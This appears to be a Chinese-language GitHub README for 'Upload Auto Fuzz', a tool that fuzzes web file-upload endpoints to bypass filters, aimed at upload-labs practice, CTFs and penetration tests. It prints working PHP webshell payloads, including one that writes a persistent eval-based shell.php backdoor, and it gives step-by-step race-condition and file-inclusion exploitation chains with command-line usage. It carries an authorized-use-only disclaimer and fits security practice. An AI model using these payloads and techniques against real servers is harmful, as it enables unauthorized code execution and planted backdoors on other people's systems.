Upload Auto Fuzz

July 15, 2026 · View on GitHub

GitHub Stars License Python Status Platform

Upload Auto Fuzz 是一款文件上传漏洞自动化 Fuzz 测试工具,通过智能生成变异 Payload 对目标上传接口进行批量测试,快速发现绕过姿势。支持 16 种绕过策略条件竞争模式文件包含链式利用多语言 WebShell 生成

适用于:渗透测试 | 安全审计 | CTF 比赛 | upload-labs 靶场练习

核心特性

  • 16 种 Fuzz 策略:后缀绕过、Content-Disposition 变异、Content-Type 伪造、大小写变换、双扩展名、空字节注入、特殊字符、编码绕过、WAF 绕过、Magic Bytes、Windows/Linux 特性、配置文件上传、WebShell 内容变异、save_name POST 参数绕过、save_path GET 参数绕过
  • 多语言支持:PHP / ASP / ASPX / JSP 全系列 WebShell 生成
  • 条件竞争模式:专为 upload-labs Pass-18 设计,高频并发上传 + 访问,利用文件删除时间窗口
  • 文件包含链式利用:利用靶场全局 /include.php 将上传文件作为 PHP 执行,不受扩展名限制
  • 智能响应分析:中英文关键词匹配,自动判定上传成功/失败/重定向/服务器错误
  • 模块化架构:低耦合设计,策略可独立扩展,新增策略仅需实现一个方法
  • 代理支持:配合 Burp Suite 进行详细请求分析
  • 试运行模式:生成 Payload 不发送,提前预览测试内容

项目结构

Upload_Auto_Fuzz-main/
├── main.py                          # 入口程序
├── include_bypass.py                 # 文件包含链式利用脚本 (Pass-11/18)
├── input/                            # 输入文件目录
│   ├── request.txt                   # 原始 HTTP 请求
│   └── payload.txt                   # 上传部分模板
├── output/                           # 输出目录 (自动创建)
├── upload_fuzz/                      # 核心模块包
│   ├── __init__.py
│   ├── core/                         # 核心模块
│   │   ├── __init__.py
│   │   ├── logger.py                 # 日志输出
│   │   ├── config.py                 # 配置管理
│   │   └── factory.py                # Payload 工厂
│   ├── strategies/                   # Fuzz 策略模块
│   │   ├── __init__.py
│   │   ├── base.py                   # 策略基类
│   │   ├── suffix.py                 # 后缀绕过
│   │   ├── content_disposition.py    # Content-Disposition 变异
│   │   ├── content_type.py           # Content-Type 伪造
│   │   ├── windows_features.py       # Windows 特性
│   │   ├── linux_features.py         # Linux 特性
│   │   ├── magic_bytes.py            # Magic Bytes
│   │   ├── null_byte.py              # 空字节注入
│   │   ├── encoding.py              # 编码绕过
│   │   ├── waf_bypass.py             # WAF 绕过
│   │   ├── config_files.py           # 配置文件上传
│   │   ├── webshell_content.py       # WebShell 内容
│   │   ├── special_chars.py          # 特殊字符
│   │   ├── case_variation.py         # 大小写变换
│   │   ├── double_extension.py       # 双扩展名
│   │   ├── save_name.py              # save_name POST 参数绕过
│   │   └── save_path.py              # save_path GET 参数绕过
│   ├── http/                          # HTTP 模块
│   │   ├── __init__.py
│   │   ├── parser.py                 # 请求解析
│   │   └── sender.py                 # 请求发送
│   ├── analysis/                      # 分析模块
│   │   ├── __init__.py
│   │   └── analyzer.py              # 响应分析
│   └── utils/                         # 工具模块
│       ├── __init__.py
│       ├── constants.py              # 常量定义
│       └── helpers.py                # 工具函数
├── README.md
├── .gitignore
└── requirements.txt

功能特性

  • 16 种 Fuzz 策略:后缀绕过、Content-Disposition 变异、Content-Type 伪造、大小写变换、双扩展名、空字节注入、特殊字符、编码绕过、WAF 绕过、Magic Bytes、Windows/Linux 特性、配置文件、WebShell 内容、save_name POST 参数绕过、save_path GET 参数绕过
  • 多语言支持:PHP / ASP / ASPX / JSP
  • 智能响应分析:自动判定上传成功/失败,支持中英文关键词匹配
  • 进度条显示:简洁的终端输出,进度条 + 错误计数
  • 调试模式:自动保存前 5 个响应包用于排查问题
  • 结果自动保存:疑似绕过的 Payload 保存到 output/ 目录
  • 模块化架构:低耦合设计,策略可独立扩展
  • 文件包含链式利用:通过 /include.php 将任意后缀的上传文件作为 PHP 执行

安装

pip install -r requirements.txt

快速开始

1. 准备请求文件

从 Burp Suite 或浏览器抓包,将原始 HTTP 请求保存为 input/request.txt

POST /upload.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: text/php

<?php @eval($_REQUEST['a']);?>
------WebKitFormBoundary--

2. 准备 Payload 模板

将上传部分的 multipart 内容保存为 input/payload.txt

Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: text/php

<?php @eval($_REQUEST['a']);?>

3. 运行

# 使用默认文件 (input/request.txt + input/payload.txt)
python3 main.py

# 指定文件
python3 main.py -r myreq.txt -p mypay.txt

使用说明

命令行参数

参数缩写说明默认值
--request-r原始 HTTP 请求文件路径input/request.txt
--payload-p上传部分模板文件路径input/payload.txt
--languages-l目标后端语言 (php/asp/aspx/jsp)全部
--output-o测试结果输出文件仅终端显示
--proxy代理地址
--timeout请求超时时间 (秒)10
--delay请求间隔 (秒)0
--max-payloads最大生成 Payload 数2000
--dry-run仅生成 Payload 不发送
--no-webshell不包含 WebShell 内容
--enable-strategies仅启用指定策略全部启用
--disable-strategies禁用指定策略
--follow-redirects跟随 HTTP 重定向
--verbose-v详细输出
--race-mode条件竞争模式(Pass-18)
--race-threads条件竞争并发线程数20
--race-rounds条件竞争上传轮数50
--include文件包含链式利用(Pass-11/18)

使用示例

# 基本用法
python3 main.py

# 指定请求和 Payload 文件
python3 main.py -r myreq.txt -p mypay.txt

# 仅测试 PHP
python3 main.py -l php

# 通过代理发送 (Burp Suite)
python3 main.py --proxy http://127.0.0.1:8080

# 限制数量 + 请求间隔
python3 main.py --max-payloads 100 --delay 0.5

# 仅生成 Payload 不发送 (试运行)
python3 main.py --dry-run

# 仅启用 save_name 和 save_path 策略
python3 main.py --enable-strategies save_name save_path

# 禁用特定策略
python3 main.py --disable-strategies webshell_content

# 结果输出到文件
python3 main.py -o output/result.txt

# 详细模式
python3 main.py -v

# 文件包含链式利用 (Pass-11/18)
python3 include_bypass.py
python3 include_bypass.py --level 11

16 种 Fuzz 策略

策略名说明
suffix后缀绕过 (php3/php4/php5/phtml/htaccess 等)
content_dispositionContent-Disposition 字段变异
content_typeContent-Type 伪造 (image/jpeg 等)
windows_featuresWindows 特性 (NTFS 流、短文件名等)
linux_featuresLinux 特性
magic_bytes文件头 Magic Bytes 添加
null_byte空字节注入 (%00)
double_extension双扩展名 (.php.jpg)
case_variation大小写变换 (.PhP)
special_chars特殊字符绕过 (空格、点号、分号等)
encoding编码绕过 (URL 编码、双编码等)
waf_bypassWAF 绕过 (分块传输、注释混淆等)
webshell_contentWebShell 内容变异
config_files配置文件上传 (.htaccess、web.config 等)
save_namesave_name POST 参数注入绕过 (Pass-19/20)
save_pathsave_path GET 参数路径控制绕过 (Pass-11)

输出文件

所有输出文件保存在 output/ 目录下:

文件说明
output/debug_responses.txt前 5 个请求的完整响应包 (用于调试)
output/payloads_success.txt疑似绕过的 Payload 详情
output/payloads_dry_run.txt试运行模式下生成的全部 Payload

响应判定

判定说明
LIKELY_SUCCESS疑似上传成功
LIKELY_FAIL疑似上传失败
REDIRECT重定向
FORBIDDEN403 禁止访问
SERVER_ERROR服务器错误
CLIENT_ERROR客户端错误
UNCLEAR无法判定
No response无响应

扩展策略

新增策略只需:

  1. upload_fuzz/strategies/ 下创建新文件
  2. 继承 FuzzStrategy 基类,实现 generate() 方法
  3. upload_fuzz/strategies/__init__.py 中导入
  4. upload_fuzz/core/factory.py_register_default_strategies 中注册

条件竞争模式(Pass-18)

--race-mode 专门用于测试条件竞争漏洞(如 upload-labs Pass-18)。

原理

服务器端逻辑:

  1. move_uploaded_file() 先将上传文件保存到目录
  2. 检查文件是否合法(后缀名等)
  3. 不合法则 unlink() 删除文件

竞争利用:在文件保存到被删除之间的极短窗口内,通过高频访问触发 PHP 执行。

使用的 WebShell

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["pass"]) ?>'); ?>

一旦被执行,会在当前目录创建持久的 shell.php 后门文件。

使用方式

# 基本用法(20线程 × 50轮)
python3 main.py --race-mode

# 自定义并发数和轮数
python3 main.py --race-mode --race-threads 50 --race-rounds 100

验证

成功后会自动验证:

  1. 检查 shell.php 是否存在(返回 200)
  2. POST 请求 shell.php 执行 echo "RACE_OK" 确认 PHP 可执行
  3. 成功则提示 shell.php 的 URL 连接信息

文件包含链式利用(Pass-11/18)

include_bypass.py 利用靶场全局 /include.php 文件包含漏洞,将上传文件作为 PHP 执行。

原理

/include.php 存在文件包含漏洞:

$file = $_GET['file'];
include $file;

无论上传文件后缀是什么(.jpg/.txt/.gif),include 均将文件内容作为 PHP 代码执行。

Pass-11 绕过

  1. ?save_path=../upload 控制上传目录
  2. 上传含 PHP 代码的 test.jpg
  3. include.php?file=upload/<timestamp>.jpg 包含执行
  4. PHP 代码创建持久化 shell.php

Pass-18 绕过

  1. 白名单(无 PHP)内上传 cmd.txt 含 PHP 代码
  2. include.php?file=upload<timestamp>.txt 包含执行
  3. PHP 代码 file_put_contents 创建 shell.php 后门

使用方式

# 测试 Pass-11 和 Pass-18
python3 include_bypass.py

# 仅测试 Pass-11
python3 include_bypass.py --level 11

# 仅测试 Pass-18
python3 include_bypass.py --level 18

验证

成功后自动验证:

  1. 包含执行返回 INCLUDE_OK
  2. shell.php 创建成功
  3. POST shell.php 执行 echo "SHELL_OK" 确认 PHP 可执行

注意事项

  • 本工具仅供授权安全测试使用,请勿用于非法用途
  • 建议先用 --dry-run 查看生成的 Payload,确认无误后再发送
  • 使用 --delay 参数控制请求频率,避免对目标造成过大压力
  • 通过 --proxy 参数配合 Burp Suite 等工具进行详细分析

相关推荐

Author

Diger_Young

项目地址: https://github.com/fewftybet/Upload_Auto_Fuzz